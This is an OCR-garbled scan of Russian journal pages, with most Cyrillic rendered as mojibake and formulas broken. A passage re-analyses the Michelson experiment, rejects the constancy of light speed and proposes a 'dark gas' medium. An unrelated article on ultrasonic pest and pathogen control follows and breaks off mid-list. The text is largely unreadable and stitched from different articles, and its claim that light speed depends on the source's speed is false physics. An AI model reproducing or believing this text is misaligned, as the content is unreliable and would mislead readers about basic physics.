BBICTYIAJ MEX3Be3/IHbIH 3¢up). Eme pa3 HamomuHaeM, 4To B TO BpeMs He ObUTO COMHEHH B

TOM, YTO CBET PACHpPOCTPAHSETCS B MPOCTPAHCTBE C MOCTOSHHON CKOPOCTBHIO C=310"yyc
OTHOCHUTEJIBHO 3(pUpa, BHE 3aBUCHMOCTH OT TOT0, ¢ KAKOM CKOPOCTBIO ABMIKETCS M3ITydarollee
cBeT Teo. B akcmepuMenTe ObUT MCMoONb30BaH HHTephepomerp MaiikenbcoHa. DTOT mpudop
CXeMaTHYECKH MOoKa3aH Ha puc.3.1
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Pucynox.3.1 Hnmepgpepomemp Maiikenocona Pucyrox 3.2 Cxema pacnpocmparnenusi iyyeti céema 6
unmepgepomempe.

OcHOBHasl MBICIb 3TOTO MCCIENOBAaHMS 3aKIOYalach B NPEATNOJIOKEHHM, 4YTO IpU
CYIIECTBOBAaHUM HEIOJBUKHOTO 3(pupa JIBUKEHUE 3eMIIM JODKHO MPUBOAUTH K TOSBICHHUIO
3aMETHOM pa3HHULBI B UHCIEHHBIX 3HAYEHUSX HEKOTOPBIX ONTHUYECKHUX BEIMYMH IIpU
pacrpoCcTpaHeHUH Jy4a CBeTa BAOJb W IIONEPEK HANpaBiICHUS JIBUKEHUS 3eMild
(uaTepdepometpa).

HNutepdepomerp Maiikenscona. C=Const. Paccmorpum cxemy wuHTEphepomMeTpa
(Puc.3.1). JIyy, ugymuii oT UCTOYHMKA S, OTYacTU OTpakaeTcsi B Touke O OT CTEKJISHHOWH,

cllerka nocepeOpeHHOM IIaCTUHKU A; OH OTpaskaeTcs OT 3epKaa Ro 4acTh €ro, MPonas yepe3
A, momazieT B 3pUTENbHYIO TpyOy, Haxomsmnytocs B F. Jlpyras yacTh jgyda MpoXOIuT uepes A,

OTpa)kacTcst OT 3epKajia Rl, BHOBb OT4YacTu oTpaxaercss B O M Takxke mnomagaer B Tpyoy F.
. AR
Hab6monarens Bunut B F unTepdepeHImonHble moiockl, 3aBUcsIne oT pazHocty myteid O 1O

n O R, O nByx nyueil. B onpenenenHoM mecte GokaibHOI m1ockocTy Tpyos! F mosBuTes onHa
13 UHTEP(PEPEHIMOHHBIX TO0JIOC, COOTBETCTBYIOIIAS HAJTUYHOM Pa3HOCTH BPEMEHH XOZa JBYX

aywern 1 2,
T — nepuon xone6anus Bonubl cBeta. IlycTh N ecTh 9HCII0 TI01I0C, Ha KOTOPbIE HPH 3TOM
JIOJDKHA CMECTHTBCS BCsi cuctema mosioc. Torma

No2ot) 2 VR 21 vE
T CT C* 1C* (3.1)

Ota ¢opMyna MOKa3bIBaeT, YTO OXKUAAEMOE CMEICHHE HHTEP(EPEHIMOHHBIX I0JIOC
€CTh BEIMYMHA MaJjiasi, BTOPOro MOpsiiKa MaJIOCTH, HO 10CTaTOYHAas Juld ee oOHapy»keHus. [locie
1881 rona onbIT MaiikenbcoHa ObIT MHOTO pa3 TMOBTOPEH Pa3IMYHBIMU YUEHBIMU. DTOT OIIBIT
NpUBENl K HECOMHEHHOMY PE3yJIbTaTy: 3eMJyIsl B CBOEM JABHMKEHUM YBJIEKACT OKPYKAIOIIUi ee
3¢up, YTO MPOTUBOPEUMIIO «abepparu cBeTa». KpoMe Toro, aHaJlOTUYHBIC OIBITH B 00JIaCTH
3BYKOBBIX SIBJICHUI TakKe yKa3bIBaJd Ha OTHOCUTEIBHOE ABMKEHHE HaOMIoaTens U BO3IyXa.
OOumM Ui BCeX 3THX OIBITOB OblUIa HEMOKoJeOuMasl Bepa B HEM3MEHHOCTh CKOPOCTU CBETa

C=3.10° Mm/c=const.

Anamu3 onelta MaiKelbCOHA B IPEACTaBICHUU O 3aBUCUMOCTH CKOPOCTH CBETa OT
CKOpPOCTH HCTOYHMKaA. [IpoBepuM, K KakoMy pe3ysbTaTy HpUBEAET Halle YOexkIeHHE, 4TO
pacnpocTpaHeHre cBeTa ((OTOHOB CBETa - MAaTE€PUAIBHBIX YACTHI) IMOAYMHACTCS 3aKOHAM
oTHocuTenbHOCTH [amunes u HpIOTOHa O CIOKEHMHM CKOPOCTEH TpH JBIDKCHHUH JIFOOBIX
MaTepuabHbIX TeJ, B TOM 4uciie U (GoToHOoB. [IpuMeHuTenbHO K GOTOHAM CBETa 3TO O3HAYAET,

_ 8
ato (oToH m3ydaercs ¢ moctosHHO# ckopoctsio  © = 310" /e orHocHTENBHO Ccamoro
U3JIy4aloIlero Tella, a He OTHOCUTENIBHO OKPYKAIOIIETo 3pupa (TEMHOI MaTepun).
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CogepiieHHO SICHO, 4TO, eciu uHTephepomeTp (Puc.3.1) HemomBWKeH OTHOCHTEIHHO

temuoro rasa (Y =0), To Bpems, 3arpaunBaemoe yuamu cBeTa Ha PAaCIIPOCTPAHCHHE B JBYX
B3aMMHO TIEPICHANKYISIPHBIX HAIIPABICHUSIX, OJMHAKOBO. TaK Kak KaKAbld U3 HUX MPOXOJHUT

yTh 2l ¢o CKOPOCTBIO C , 9TO BpeMsl PaBHO
tZZZ/C.(g_Z)

Ecim ucTouHMK M3ImydeHui IBUKETCSI OTHOCUTEIFHO HEMOIBMYKHOTO 3(HUpa, TO CKOPOCTh
< _
dotona orHocuTenbHOCTH dpupa C' ckIaBIBaeTCSA M3 CKOpocTH cBeTa C OTHOCUTENEHO
M3ITYYaloIIEro Tela U CKOPOCTH caMoro Tena vV Kax

C' =CzV_ (3.3)
Jlanee TMOBTOpMM IIar 3a IIaroM JIOTUKY oOnbiTa MalKelbcoHa, HO Iojiaras, 4ro
CKOPOCTB CBETA 3aBHCUT OT CKOPOCTEH HCTOYHUKA U3ITYUCHHS M OTPAXKAIOIICH MOBEPXHOCTH.
[pexne, 4eM MPOAODKUTH CICIUTH 3a JBIDKEHHEM (OTOHOB CBETAa Ha BCEM IIYTH OT
WCTOYHHKA CBETa IO 3PUTEIBHOW TPYOBI, HEOOXOIMMO NPOAHAIM3HPOBATh, KaK IMPOUCXOIHT
oTpakeHHe (POTOHOB OT OBEPXHOCTH 3epKasa.
1)  Bo3MoxHO, (hOTOH OTpaKaeTCsi OT MOBEPXHOCTH, KaK HACATBHBIN [IAPUK OT
UJleasIbHOM MOBEPXHOCTH. B 3TOM ciydae, kKak M3BECTHO, yroJl IaJIeHUs] paBeH
YIITy OTPaKEHHS M CKOPOCTh OTPAKEHHSI paBHA CKOPOCTH T ICHHUSI.
2)  MOXXHO OXKHIATh, YTO MaJalONIMi (POTOH MOIIIONIAETCS aTOMOM TIOBEPXHOCTH
3epKayia, aToM BO30YXKIaeTcss M cpa3y H3IydaeT (POTOH CO CKOPOCTHIO

C =3-10° /¢ orsocuTensio 3epKaJia, NEPIIEHINKYIIIPHO €0 ITIOCKOCTH.
PaccmoTpuM, Kakoe BIMSHUE Ha KapTUHY MHTEPPEPEHLMU JOJDKHO UMETh JBHIKCHHE
Bcero npubopa BMecte ¢ 3eMiéil B 3¢upe (MM HEMOJBMKHOM TeMHOM Tase). Ilpenmonaraem,
410 3eMJIsl B CBOEM JIBM)KCHHUH HE YBJIEKaeT ra3000pa3Hyro cpeny 3a coboil. Ilpennonoxum, uro
9TO ABUKEHME ITPOMCXOUT MapajuiesibHO oaHoMY U3 HanpasieHuid OR1 nnu OR2. Paccrosnus

ORI u OR2 paBHbl ! . (Puc.3.1) Ucrounuk cBeta Haxonutcs B Touke O. Mcrounnk O u 3epkano
R1 pgBmKyTCS 1O HAaNpaBIIEHUIO COEAMHSAIOIIEH MX MPSAMOM CO CKOPOCTBEO V OTHOCHUTENIBHO
temHOro rasza. CormacHo gopmysie (3.1) mpu Beixoae u3 O CKOPOCTH Jiyda CBETa OTHOCUTEIHHO
TEMHOTO ra3a ¢ y4€ToM JONoJHUTENbHOU ckopocTH V 6yner C'=C+V. CKOpoCcTb OTHOCUTEEHO
npuOopa, KOTOPBIM caM JBIKETCS B TOM K€ HAIIPaBJICHUH CO CKopocThio V okaxkercs Cl=C'-

V=C. Mostomy Bpems mpoxoxkaernst mytn | or O mo R1 : 1 = e =1c g 3epKay CBET
MOAXOAUT ¢ OTHOCUTENBHOM ckopocThio Cl'=C'-V=C. OTpax€HHBIi Ty4 HAUNHAET JABUTATHCS B
00paTHOM HampaBlieHHH cOo ckopocThio C” oTHOcUTENnsHO TeMHOTO Ta3a. 3neck C'=CIl’-V=C-V.
CKOpOoCTh OTpaKEHHOTO JIyda CBETa OTHOCHTEIFHO TPHOOpa, KOTOPBIA ABIKETCS Temepb

HABCTPEYy CO CKOPOCTHIO V, OyaeT C=C+r=C Bpemst poxoxaeHus myTH I o1 R1 g0 O:

L =1/G=1/C CyMMapHOe BpeMsi TPOXO0KICHUS JIy4OM CBETA PACCTOSHUS 2l orOnoR1 uB
00paTHOM HalNpaBIICHUU:
t1=tl'+t2""=21/C. (3.4)

JIBikeHre mpubopa OTHOCUTEIBHO TEMHOTO ra3a B HANpPAaBICHUU PaCIpPOCTPaHEHUS
Jyda CBETa Tyla M OOpaTHO HE W3MEHSET BPEMEHM MPOXOXKIACHHUS JTy4OM 3TOrO IYTH, IO
CPaBHEHHUIO C BpEMEHEM, KOria pUOOp HEMOABHKEH.

[epeiiném k ciydaro, KOrja MCTOYHHMK CBeTa A (CBETOACTHTENbHAS IUIACTUHA) H
3epkaiio R nBmwkyrcs mapamiensHO IiockocTH 3epkaia RR co ckopocteio V' (Puc.3.1).
[ToapoOHblii (parMeHT ABMXKEHHUs Jyda CBETa B 3TOM ciydae u3o0paxkéH Ha Puc.3.2. U3
CBETOZEJIMTEIIbHOM IUIACTUHBI JIyd CBETA BBIXOAMT B HANPABICHUM OTPAXKAIOLIETO 3epKaja
NEPIEHIUKYISIPHO €ro INIOCKOoCTH RR OTHOCHTENBHO MCTOYHMKA M3IYYEHUS] CO CKOPOCTHIO

— 8 .
C=3-10"\wyc. Cormacuo dopmyne (1.1) ckopocTh M3NMyuEHHOTO Jyya CBETa OTHOCHTEIIBHO



JIlendenyuu pazeumus Hayku u obpasosanus -193-

HENoJBXHOTO 3upa B HampasieHnu ABI ¢ yd€ToM HampaBieHHs W BEIMYMHBI CKOPOCTH V

2

C'=4JC?+V?=C 1+V—2
JBIKCHUST HMCTOYHHKA Oyer c* . [Tockonpky mTpuOOp IBUKETCS B
HanpasieHnr RR co ckopocThio V, TO OTHOCUTEIBHASI CKOPOCTh Ma/IA0ILIEro JIyda CBETa B 3TOM
HalpaBJICHWUW pPaBHA HYJIIO, a B HANPaBJICHHHU, NCPICHAWKYIAPHOM JIBUXKXCHHIO npn60pa,

CKOpOCTb Majarolero iyda pasaa C.

Bo3MoxHO, GOTOH OTpaskaeTcsi OT MOBEPXHOCTH, KaK HICaIbHBIN MIAPUK OT UACATLHOM
MOBEPXHOCTH. B 3TOM ciyyae, Kak U3BECTHO, YTOJI MaJICHUS paBeH YIIIy OTPaXXeHUs U CKOPOCTh

Ty T

OTpa)keHHsl PaBHA CKOPOCTU MaJICHUS . Ho MOXHO OXuzmath, uTO B
paccMaTpuBaeMoM ciTydae, MaIaloliuii Ha TIOBEPXHOCTh (DOTOH CHAYaja IOTIIONMIAETCS aTOMOM
MIOBEPXHOCTH 3€pKajia, 3TOT aToM BO30YyXIaeTcst U cpa3y u3iy4daeT (OToH co ckopocTbio C
OTHOCHTEITFHO 3epKaJjia, MEPIeHIUKYISIPHO €ro TUIOCKOCTH. 3epKallo ABHKETCS B HAIIPABICHUH
CBOEH IJIOCKOCTH €O cKopocThio V. CyMmMMapHasi CKOpPOCTb H3Ty4eHHOro QotoHa Oyaer

=C*+V? = C4/1+—
C® Ona Takas ke, Kak y HAEAJIBHOTO IapuKa, OTPAKEHHOIO OT

UZCaIbHOM TOBEPXHOCTH.
Otpax€HHBIN JIyd cBeTa MMEET YroJl OTpa)KeHUs, paBHbIM yrily majgeHus. OH umeer

C*+V? =
CKOPOCTb, PaBHYIO IO MOYJIIO CKOPOCTH MHaJarolIero Jydya . IyTs,
KOTOPBIH MPOXOJNT JIyd CBETA B TEMHOM rasze Tyaa oT A 1o Bl u o6patro ot Bl 1o Al, Gyzner

_ 2 2
2S =21 + p°. (35)
B nHanpasnenun muaun B1D oTpakeHHBIN JIyd CBETa pacIpOCTPAHSIETCS CO CKOPOCTHIO

C, a B manpasienun AA1 co ckopocTbio V. II09TOMy MOYKHO COCTaBHTH IPONopiuo ~ [=vic

BpeMﬂ, 3aTpadyruBacMoO€ JIYdOM CB€Ta Ha IIPOXOXKIACHHE OJ3TOro IIyTH, OIIPEACIHUTCA KakK
25 2 [1+VZ/C? 2

© ¢ oc\wviict ¢ ComnocraBisisi TONY4YEeHHBIH pe3ynbTaT ¢ BpeMeHeM tl,
oOHapykuBaeM, uto t2 =t1.

Wrak, BciieAcTBHE BUKECHUS BCEH CUCTEMBI BpEMEHA IIPOXOXKACHUS CBETa OT UICTOYHUKA
70 3€pKaja U OOpaTHO, B JABYX B3aUMHO MEPIEHIUKYJSPHBIX HAMpPaBICHUAX OKa3bIBAIOTCS
OJVHAKOBBIMU M DPABHBIMH CO BPEMEHEM IIPOXOXKICHUS 3TUX PACCTOSHHUM Jy4aMu CBETa B
cllyyae, Korjia mpuOop HETOIBUKEH OTHOCUTEILHO TEMHOI'O ra3a.

EcrectBeHHO  mosTOMy, 4r0  OmBIT  MalikeabcOHa  HE  JAJI  CMELICHHs
UHTEP(QEPEHLIMOHHBIX TOJIOC W HE BBISBWI OXKUAAEMOrO BIUSHUS JIBWOKEHUS 3eMid B
HETIOJIBM)KHOM TEMHOM Ta3e Ha ONTHUYECKUE XapaKTepPHCTHKHU Jiyya cBeTa. Kakoii Obl O0JIbIION
HU ObUIa CKOPOCTh 3eMJTH OTHOCHUTEIILHO TEMHOM ra3000pa3HOil MaTepuu, onbIT MalkeabcoHa
HE MOJKET 3TOro BBIIBUTH. [103TOMY, npaBuiibHee ObUI0 ObI paccMaTpUBATh ONMBIT MaliKebcoHa
KaK SKCIEPUMEHTAIbHOE J0Ka3aTeNIbCTBO CPOPMYIMPOBAHHBIX B JAHHOW paboTe 3aKOHOB
M3JIy4yeHUs] M OTpaxkeHHs cBera. Ecnu Obl Takol ONBIT HE ObUT MPOBEAEH, €ro CJe0Ballo
pa3paboTath M MPOBECTH JJsl TPOBEPKH U TOATBEPXKACHUS TMPUMEHUMOCTH 3aKOHOB
oTHOCUTENbHOCTH [annnes 1 Hpl0TOHA O CIIOKEHUH CKOPOCTEN TPU IBUKEHUH (DOTOHOB.

B moeii pabote [ 1] paccMOTpeH ele psiJl MHTEPECHBIX SBJICHHUM, TOATBEPKIAIOIINX, YTO
K pacIpOCTPAHEHUIO CBETa B IIPOCTPAHCTBE CJIEAYET IPHUMEHATH NPUHIMII OTHOCHUTEIBHOCTH
lNamunes n HproTOHA M YTO ClleyeT OTKa3aTbCsl OT MPEACTABICHHS O HEM3MEHHOCTH CKOPOCTH
ceera. Kpome Toro, Hamr aanus «3Be3qHOI abeppauum» U ornbiTa MalKelbCcoHa MoKasal, YTo
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BOKPYT JBIDKYyIIEHCS 3eMIIM MOXET CYIISCTBOBATH HEBHIMMAs, OYEHb pa3peIKCHHAsS
razoo0pasHas cpena.

* k%
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AHHOTALIUSA

B naHHOW cTaTbe akKIEHTHpPYeTCs BHUMAHHE Ha JKOJIOTHUECKHX U OMOJOTMYECKUX
MIPEUMYIIIECTBAX UCTIONB30BAHUS yAbTPA3BYKOBBIX TEXHOJIOTHI B CEILCKOM XO3SHCTBE, KOTOPBIS
MPEIyCMAaTPUBAIOT MAKCUMAJIBHOE CHIDKEHHE 3aBHCHMOCTH OT XMMHMYECKHX TECTHIUIOB, a
TaKKe TOBBIIICHUE YCTOMYMBOCTH CEIBCKOXO3SWCTBEHHBIX CHCTEM. PaccMaTpuBaroTcs
MIPUMEPHI YCTIEITHOTO MPUMEHEHHS YJIbTPa3ByKa Ha Pa3IMUHBIX CTAAMSIX >KU3HEHHBIX ITMKIIOB
BpeauTeNell W TATOTEHOB, a TaKXKe aHAIM3UPYIOTCS BCE BO3MOXKHBIE SHEPro3arpaThl U
sKOHOMHUYecKast A EKTUBHOCTh nMaHHOTO Tmoaxoxa. OTaenbHOe BHHMAHHUE —YACTSETCS
COBpPEMEHHBIM pa3padOTKaM M MHHOBALMSM B 00JAaCTH YIBTPa3ByKOBOTO OOOPYIOBaHUS, UTO
MO3BOJISIET TIOJHOCTHIO ATaNTHPOBATh TEXHOJOTHHM TIOJ creruduueckue HYXKIbl (epMepoB.
Bricka3piBaeTcss W TMEPCIEKTUBA JAIBHEHIINX HCCIENOBaHUN U pa3pabOTOK, KOTOPHIE
HarfpaBJIeHbl Ha WHTETPAMIO YIbTPAa3BYKOBBIX METOAOB B CYIIECTBYIOIINE arpOTEXHUYECKUE
MPOIIECChl, a TaKkKe HEOOXOAMMOCTh MEKIUCIUIUTMHAPHOTO TMOAXOAA JJISi JTOCTHIKCHUS
ONITUMAJTBHBIX PE3YJIbTATOB.

KiroueBble cii0Ba: yiIbTpa3BYK, BpPEAUTENH, arpoHOMUS, O€30MacHOCTh, CEIBCKOE
XO3SIMCTBO.

Abstract

This article focuses on the environmental and biological advantages of using ultrasonic
technologies in agriculture, which provide for maximum reduction of dependence on chemical
pesticides, as well as increasing the sustainability of agricultural systems. Examples of successful
ultrasound application at various stages of the life cycles of pests and pathogens are considered,
as well as all possible energy costs and economic efficiency of this approach are analyzed.
Special attention is paid to modern developments and innovations in the field of ultrasonic
equipment, which makes it possible to fully adapt technologies to the specific needs of farmers.
The prospect of further research and development is also expressed, which are aimed at
integrating ultrasonic methods into existing agrotechnical processes, as well as the need for an
interdisciplinary approach to achieve optimal results.

Keywords: ultrasound, pests, agronomy, security, agriculture.
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Hcnonb3oBaHue yabTpa3Byka JJIsi KOHTPOJS HOIMYJISILIMM BPEAUTENEH B CEIbCKOM
XO35IIICTBE  OTKPHIBACT HOBBIE T'OPU3OHTHI, OOBEAMHSS BBICOKYIO A(P(PEKTUBHOCTH U
9KOJIOTMYECKYI0 0€30IIaCHOCTb. OJTH  BBICOKOYACTOTHBIE 3BYKOBBIE BOJHBI  OKAa3bIBAIOT
BO3JICHCTBHE HAa HACEKOMBIX M MHUKPOOPTaHM3MBI: Y OJHUX HM3MEHSIOTCS (PU3MOJIOrHYecKHe
IPOLIECChl U TIOBEJICHHUE, Yy JIPYTUX — MPOMCXOMUT HApyLIEHUs B KIETOUHBIX CTPYKTypax. B
JTAHHOM MaTepHaje aHATM3UPYIOTCS MEXaHU3MBbI JICHCTBUS YIIbTpa3ByKa, IPUBOASATCS MPUMEPHI
€ro NpUMEHEHUs JUis 00pbObl C HACEKOMBIMH, IPBI3YHAMH U IaTOT€HHBIMU MUKPOOPTaHU3MaMH,
a TaKkKe OO0CYKNAlTcd OCOOEHHOCTH HCIONBb3YeMbIX YCTpOHCTB. IIpemmyiectBa metona
3aKJIIOYAI0TCS] B €r0 HANpPAaBIEHHOCTH, YHUBEPCAIBHOCTU M OXpPaHE OKPYXKaIOIIeH cpelbl, XOTs
ClIelyeT YYUTHIBATh M ONpeaenéHHble TpyAHocTH. Oco0oe BHUMaHME YAEIEHO BO3MOXKHOCTIM
Pa3BUTHs 3TOM TEXHOJIOTWM, BKIIOYas €€ IPHUMEHEHHE B YMHOM CEIbCKOM XO3SMHCTBE,
aIaINTaIMIO JIJIs 3aKPBITHIX MOMEIICHUH ¥ MUHUATIOPU3AIUIO 000py10BaHuUsL. [7]

Vabprpa3BykoBasi o0pa0oTka B arpapHOM IPOMU3BOJICTBE 3apeKOMEHJ0Bajla cels Kak
MEepPCIIEKTUBHBIX ~ CMOCO0 ~ CHWKEHMS ~ WCIOJIB30BaHUS ~ XHMHYECKMX  IIPEnapaToB,
obecrieynBarONIMi  3alUTy OKPY)Karolled Cpeabl., 4YTO OCOOEHHO aKTyalbHO B CBETE
COBPEMEHHBIX IKOJIOTMUYECKHX MpOoOJieM. DTOT METOJI OCHOBAH Ha CIHOCOOHOCTH YJIBTpa3ByKa
BbI3bIBATh M3MEHEHUS B TOBEJCHWU Y BpeAWTETICH U HapylmaTb CTPYKTYpbl KIETOK Yy
MHUKPOOpPraHu3mMoB. B craThe mMmoapoOHO wH3ydeHbl 0a30Bble MNPUHIMIIBI YJIBTPa3BYKOBOI'O
BO3JICHCTBYSA, MPUMEPBI €ro NMpUMEHEHUsI B OOpbOe ¢ BpeIUTEIIMU M MATOr€HaMH, a TaKkKe
PaccMOTpPEHBI TEXHOJIOTHH U 000PYI0BaHKE, UCTIOJIB3yEeMbIE B 9TOM Tporiecce. [3]

[lepeiinem Kk criocobam yCTaHOBKH YJIBTpa3ByKOBOro obopynoBanus. [lepesn yctaHoBKO#M
YIBTPa3BYKOBBIX YCTPOWCTB HEOOXOJUMO TIIATENIBHO HCCIIEAOBaTh Y4aCTOK. DTO BKIIOYAET B
ce0s ompesieNeHHe IO y4acTKa, BUIA BhIPALIMBAEMbIX KYJBTYp, THUIA TOYBBI M YPOBHS
3apaKEHHOCTU BpPEAUTENIIMU U OOJIE3HSAMHU. OTH JaHHbIE MOMOTYT BBIOpaTh Haumbosee
NOAXOASAIIYI0 MOJIENIb YCTPOMCTBA, TaK KakK pa3Hble MpUOOpHl 00JaJar0T  pa3iIudHON
MOIITHOCTBIO U TUANa30HOM YacTOT.

[TpuOops! pa3nuyaroTcs MO MOIIHOCTH, JUANA30Hy YaCTOT U HAIMYHUIO JIOTIOJTHUTEIBHBIX
GyHKIMHA, TaKMX Kak TalMep WM COJIHEYHas TaHeNb Uil THTaHWs. BBIOOD 3aBHCHT OT
KOHKPETHBIX 3aJay: JJIsl 3allUThl OT OTAEIbHBIX BHIOB BpeauTeNeil (IphI3yHbI WM MTHUIIBI) WIN
T OoJ1ee OOIMPHOM 3a/1a4n (HACEKOMBIE U 3a00JIeBaHMs pacTeHuin). [§, 9]

OntumanbHOE pa3MelleHHe YIBTPa3BYKOBOTO YCTPOMCTBA SIBISETCS KIIOYOM K €ro
s dexTuBHOM padoTe. YCTpoiicTBa TOMKHBI OBITh PACIOJIOKEHBI TaK, YTOObI YJIBTPa3BYKOBBIE
BOJIHBI C JIETKOCTBIO OXBATBIBAIM BCIO IUIOMIAJh y4acTKa. [Ipu 3ToM HEOOXOIUMO yYHTHIBATH
MPETIATCTBUSL  (IEpPEeBhs, 3/IaHUS WIM  COOPYXKEHHs), KOTOpble MOTYT OJIOKUPOBATh
pacnpocTpaHeHHe BOJIH. YCTPOWCTBa OOBIMHO pPa3MEIAIOTCS IO TEPUMETPY ydacTKa WM B
OTIPENICTICHHBIX TOYKaX /It OoJiee paBHOMEPHOTO MOKpbITHSL. [10, 11]

[Tocne ycTaHOBKM YCTPOMCTB Ba)KHO NMPOBECTH HACTPOUKY paboyero nuara3zoHa 4acToT.
Pa3Hble BuIbl BpeauTenedl MOTYT pearupoBaTh Ha pPa3iIM4HbIE YaCTOTHI, MOTOMY 4YacTo
YCTPOWCTBA TMO3BOJIAIOT MEHATh HACTPOMKM B 3aBUCUMOCTH OT HeoOxomumoctu. HyxHo
MPOBEPUTh, YTO MPHUOOpPHI pabOTarOT B HUCXOSIIEM M BOCXOAAILIEM JAMANa3oHE, KOTOPBIH
HanOosee 3(PPEKTUBEH [T TIOAABICHHS aKTUBHBIX BPEAUTEICH KOHKPETHOTO yJacTKa.

VYbpTpa3ByKOBbIE YCTPONCTBA TPEOYIOT PETYIIPHOM MPOBEPKH UX pabOTOCIOCOOHOCTH U
s dexkTuBHOCTH. Bpemsi 0T BpeMeHH HEOOXOAMMO MPOBEPATH 00OPYIOBaHUE M MPOH3BOAUTH
YUCTKY OT T'PSI3U U MBUIH. [5]

Hcnonb3oBaHue yiapTpa3ByKa JUIsl KOHTPOJSL HaJl YHCIEHHOCTBIO BPEJOHOCHBIX
HACEKOMBIX OIMMPAETCsl Ha €ro CrocoOHOCTh BbI3BIBAIOT JI€30PUEHTAINIO, OcialieHue
KU3HEHHBIX (QYHKIMN U QU3HYECKOE pa3pyIIeHHe UX OHOIIOTHYECKUX CTPYKTYp. DTO MOMOTaeT
KOHTPOJIMPOBaTh HX KOJHMYECTBO C MUHHUMAIBHBIM YILIEPOOM JUI CEIbCKOXO3SHCTBEHHBIX
KYJBTYP.

Bo3zpelictBue Ha BpeAUTENEC:

1.  Komopanckwii xxyk (Leptinotarsa decemlineata)
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- Oddext: ynpTpazByk B auamazone 30-50 k[l BaMsieT Ha HEPBHYIO
CUCTEMY KyKa U MEUIAET €ro OPUEHTUPOBAHUIO, YTO 3aTPYAHSAET OUCK
TMUILH;
- Brnusaue wa siina:  paspymaer WX 000JO0YKY, TE€M CaMbIM
MIPEIOTBPAIIAET UX PA3BUTHE;
— PesynbTat: ymMeHbIlIleHHE TONYIAIMN U TPEIOTBpAIICHUE SMTUIEMUHN Ha
KapToderne u Ipyrux KyinbTypax. [4]
2.  benokpsuika (Bemisia tabaci)
- Dddext: yactoTel okosio 40 KI'11 CHIKAIOT ABUTaTEIbHYIO aKTUBHOCTH
B3pOCIION 0COOH, UTO OTPAaHNYMBACT €€ TIEPEIBIDKCHUE U Pa3MHOKCHHUE,
— BrusiHue Ha stifiia: moaBmsieT pa3BUTHE HOBBIX 0CO0EH;
— Pe3ynpTar: yMeHbIlIeHHE YUCICHHOCTU BpeOuTeNel B TEIUIMIAX M Ha
OTKPBITHIX TUIONIAIKAX.
3. Tas (Aphidoidea)
— OddexT: yapTpa3ByK 3aTpyaHSET ABIDKCHHE M THTAHUE TIEH Ha
pacTeHusx;
— BnusHMe Ha penpoiyKIMIO: CHUXKAET CHOCOOHOCTh K Pa3MHOXKEHHMIO,
3¢ (HEKTUBHO YMEHBIIIACT UX TOMYJISIIUIO;
Pesynbrar: 3ammra oBOIIHBIX U (PYKTOBBIX PACTECHH OT 3apaskeHUSI.
4. Capqua (Acrididae)
- Oddext: yapTpazByk B mpenenax 25-40 k[ ne3opueHTHpYET, HE
MO3BOJISIE HACEKOMBIM MAaCcCOBO MHIPHPOBATh M CKAaIUIMBAaTHCS Ha
TMOJISIX;
- W3MeHeHrss B MOBEJCHMM: capaH4ya TepseT KOOpAMHALMIO U
CIOCOOHOCTH JABUTAThCS B CTae;
- Pe3ynpTar: cHMKEHUE yiepOa OT MacCOBBIX BTOPKEHUI.
5. Tlnomosas moinb (Cydia pomonella)
- O¢dext: yactoTel B uHTepBase 35-45 kIl paspymatoT ee sifa u
MOJIABJISIOT BOCIPOU3BOACTBEHHBIE MTPOIIECCHI;
- BoszelicTBrie Ha B3pOCIBIX OCOOCH: MEIIAeT OTKIAIBIBAHUIO SUI[ HA
TUIOJIOBBIE KYIBTYPHL;
- Pe3ynpTar: yMeHbLIEHHE MOBPEXKICHUNA (PYKTOBBIX IEPEBHEB, TAKUX
Kak s10J10HU ¥ Tpymu. [7]
Bo3snelicTBre Ha rpbI3yHOB
1.  Tlonéeku (Microtus arvalis)
- D¢ dexr: 3ByKoBbie BoiHbI B Auana3zone 20-30 k['11 BB3BIBAIOT y ITHX
’KMBOTHBIX CTPECC, HAPYIIAIOT UX MPOCTPAHCTBEHHOE OPHUEHTHPOBAHUE
Y 3aCTaBJISIIOT TOKUIATh 30HY BO3/IEUCTBUS;
Pe3ynpTar: 3amuTa nojei u cKiazioB OT pa3pelIeHH.
2. Kpmcm (Rattus spp.)
O¢ddekr: BbICOKOUACTOTHBIC KOJeOaHHs HETAaTUBHO BO3ACHUCTBYIOT Ha
HEPBHYIO CUCTEMY TPBI3YHOB, Jieas TEPPUTOPHUIO MAIIOTIPUTOTHON JIJIst
oOWTaHus;
- Pe3ynbraT: ycnemrHoe BBIBEAEHHE KpBIC C CEIIbCKOXO3SWCTBEHHBIX
IUIOIIAJEH.
BosneiictBue ynpTpasByka Ha 3a00J1€BaHUs PACTEHUI
VYabpTpa3ByK UCTIONB3YETCs sl 00pbOBI ¢ TPUOKOBBIMU, OaKTEPUATLHBIMUA U BUPYCHBIMH
WHQEKIUSIMA PACTCHUH 3a CUET MOBPEKICHHS KIIETOYHBIX CTPYKTYp MATOT€HOB, YTO MEIIAeT HX
pa3MHOX)keHuto. [1]
['pubKoBBIC HHBEKIMU
1.  ®wurodropos (Phytophthora infestans)
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3.

- BoszelicTBre: ynpTpa3ByK paspyllaeT CTPYKTYpbl criop (uTodTOopHl,
YTO MPEMSATCTBYET MX MPUKPEIUICHUIO K PACTCHUSIM,

— Pesynprar: 3ammTa Takux KyIabTyp, Kak TOMaThl U KapTodenb, OT
OIMacHOM 0OJIC3HU, CHIUYKAIOIICH ypOsKai.

Myunucras poca (Erysiphales spp.)

— BoszelicTBre: 3ByKOBbIE BOJIHBI HAPYIIAIOT 1IEJIOCTHOCTH TH(OB U CIOP
rpudKa, yMEeHbIIIas UX CIOCOOHOCTh K Pa3BUTHIO MH(EKITUH;

— Pesynbrar: cokpamieane WH()EKIIMOHHOTO BIMSHUS HA TUIOJOBHIC W
JICKOPATUBHBIC PACTEHHUSL.

qepHaﬂ Hoxka (Pythium spp., Fusarium spp.)
BosgelictBue:  oOpaboTka  mogaBaeMoil  BOIBI  YABTPa3BYKOM
YHUYTOKAeT CHOPHI MAaTOT€HOB, MPEAyNpexaas UX pacHpoCTpaHEHHE
4yepe3 MeXaHU3MbI TIOJIHBA;

— Pe3ynpTar: CHIDKEHHE BEPOSTHOCTH 3a00JIEBAaHHSI CAXKEHIIEB M MOJIOJIBIX
pacTeHuil.

bakTepuanbHble HHPEKIUH

1.

2.

Bakrepro3sl (Xanthomonas, Pseudomonas)

- BozneicrBue:  ynbTpa3sByKOBBIE  BOJIHBI  pa3pyllalOT — KJIETOYHBIC
MeMOpaHbl OaKTepHUi, BRI3BIBAS MX THOEIIb;

- Peszynprar: 3ammTa oBomed U (QpyKToB OT OaKTepUalbHBIX
